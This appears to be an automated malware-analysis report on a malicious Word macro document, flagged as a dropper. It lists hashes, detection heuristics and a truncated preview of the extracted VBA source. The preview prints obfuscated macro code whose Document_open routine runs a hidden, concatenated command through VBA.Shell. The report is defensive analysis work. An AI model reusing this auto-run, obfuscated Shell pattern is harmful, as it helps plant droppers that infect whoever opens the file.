Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b81dbba056cd00f2…

MALICIOUS

Office (OLE)

168.2 KB Created: 2018-07-23 16:05:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: f8b3ca3a840c4bf0827e2deecda500b1 SHA-1: 48e30e5bb6dee208e6c2b663726df45b31e37151 SHA-256: b81dbba056cd00f2899c3a3080ac233085eaefd71d9dba1693baafcbe86e5e65
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro that utilizes the Shell() function. This strongly suggests the document is designed to download and execute a secondary payload, a common tactic for malware droppers. The ClamAV detection further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6619473-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6619473-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31657 bytes
SHA-256: 7be026c1935cf0bc7cfb18f706f9a61409a690e54cd119b1cddc16d375aec703
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zqKkwfp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function qvSmzYOOqlZnW()
On Error Resume Next
   If crpMbX Eqv 2 Then
      For Cqdzfq = 428163667 To XPQhu
         NvjuN = DpQQZw - KqlsKL / 30078 + tbJCt + 47517 / SWIFb - djKvw / UrmaDz * (fNmWFV / pUTXrU)
      Next
      ElseIf tWuIT < VhKaz Then
      ZvTHB = Sqr(Dutwj)
   End If
   If kzWIM Eqv 2 Then
      For DiUbVr = 428163667 To jddzD
         ZtwjW = SRoZX - pvFjZz / 47772 + mthEUw + 30018 / VaRvsU - InNzw / VOEzdf * (MADiYG / fLrPX)
      Next
      ElseIf ivOIbE < VwwLz Then
      CQidHq = Sqr(SWVWn)
   End If
   If kqUEK Eqv 2 Then
      For OSaLvH = 428163667 To OnRiCU
         zoCOAs = wtKjc - pWQAz / 72755 + CCqRv + 98975 / ntXkw - uMvoFD / PQYQf * (irrXQ / Qvlwwl)
      Next
      ElseIf AdhEV < jzfca Then
      uuUJmd = Sqr(ldRXvW)
   End If
   If vtzwwc Eqv 2 Then
      For LaAwWZ = 428163667 To bPEsi
         DJAikY = iLZsU - SZbzz / 25126 + dqqij + 71487 / HrHRd - bhmtO / ZWUzA * (cRGmz / EfHSM)
      Next
      ElseIf WBzHw < EHOLdk Then
      ikonAJ = Sqr(pVETLU)
   End If
   If NwAIVT Eqv 2 Then
      For NMRYh = 428163667 To suQoVw
         fPrHJ = cBwfw - vNuQKU / 30710 + MXbVc + 52484 / zbofpW - LwGtz / qVQjUu * (hwiFTF / FHnVfh)
      Next
      ElseIf fZIAG < VCwJR Then
      QcrHv = Sqr(hoPwz)
   End If
End Function
Private Function hIPzDnDohLD()
On Error Resume Next
   If SCOQuV <= wlzTXz Then
      Else
      Set jFmiOW = SXNcY
   End If
   If fbaakq <= PJibl Then
      Else
      Set jwJwa = wTivd
   End If
   If KNYiR <= lBEYTd Then
      Else
      Set GWLUkn = AGlAj
   End If
   If sAfAo <= NvQJY Then
      Else
      Set nJiUwH = dGTVN
   End If
   If PapXL <= abCZfS Then
      Else
      Set EESvz = JwQjz
   End If
   If UJXzf <= lQzKjI Then
      Else
      Set FXUSmk = nuTzm
   End If
End Function
Private Function WEcXuoVVbO()
On Error Resume Next
   If lBfTl <= SOMwnp Then
      Else
      Set bTRzq = IMVEWa
   End If
   If dEidEv <= WIQwwL Then
      Else
      Set jJZRmW = UDWkY
   End If
   If fTDSEF <= mfIRa Then
      Else
      Set qOwzu = dXECjX
   End If
   If QwJtjD <= KdSiuK Then
      Else
      Set KBCsf = cMiFn
   End If
   If TCwzrA <= YcCtDw Then
      Else
      Set VcQOj = BzQKHV
   End If
   If IBLsj <= vGLHD Then
      Else
      Set HHZfG = sMOKBU
   End If
End Function
Private Function QXuhKkkjJaa()
On Error Resume Next
   If mvGqA <= CclSr Then
      Else
      Set tWlosW = RzLiwV
   End If
   If lvHnGQ <= KVEQUw Then
      Else
      Set wiFCq = NwsRD
   End If
   If AwWur <= ppifi Then
      Else
      Set uUGzcL = fulwhj
   End If
   If VbQHUM <= Rjdila Then
      Else
      Set MPjbC = wwjZwf
   End If
   If ORMCtB <= RVqpNm Then
      Else
      Set SZWmN = wJIYYX
   End If
   If mCqkR <= NjEzv Then
      Else
      Set DBRAb = QFBjJ
   End If
End Function
Private Sub Document_open()
On Error Resume Next
   If zTczE Or uzqhz Then
      Else
      For GuDwSO = 71 To 525
         uZOQtz = 8
      Next
   End If
   If Uozdp Or hmSXh Then
      Else
      For qQLErM = 71 To 525
         BWOCji = 8
      Next
   End If
   If nBZwjo Or lAfhIK Then
      Else
      For vZLdI = 71 To 525
         SzCwH = 8
      Next
   End If
   If RdIQz Or Shfmm Then
      Else
      For VqYjmd = 71 To 525
         dEJHt = 8
      Next
   End If
   If jQIbr Or RhRoO Then
      Else
      For LTArZ = 71 To 525
         zEGlOi = 8
      Next
   End If
   If LDTYdB Or mjSWbJ Then
      Else
      For SYEVkC = 71 To 525
         cnKzlf = 8
      Next
   End If
VBA.Shell "" + jCjwUPZIrEKo + lYkkCiNK + CVar("C") + OhfGmPubWADP + IaqCNnCvcNcd + mokMHKizB + okcuXZqXiQW + cGYflzBb + vFiilHS + oAIWPUcf + DuPjnYkRbR, 0
   If NjXwrO Or CiQjLc Then
... (truncated)

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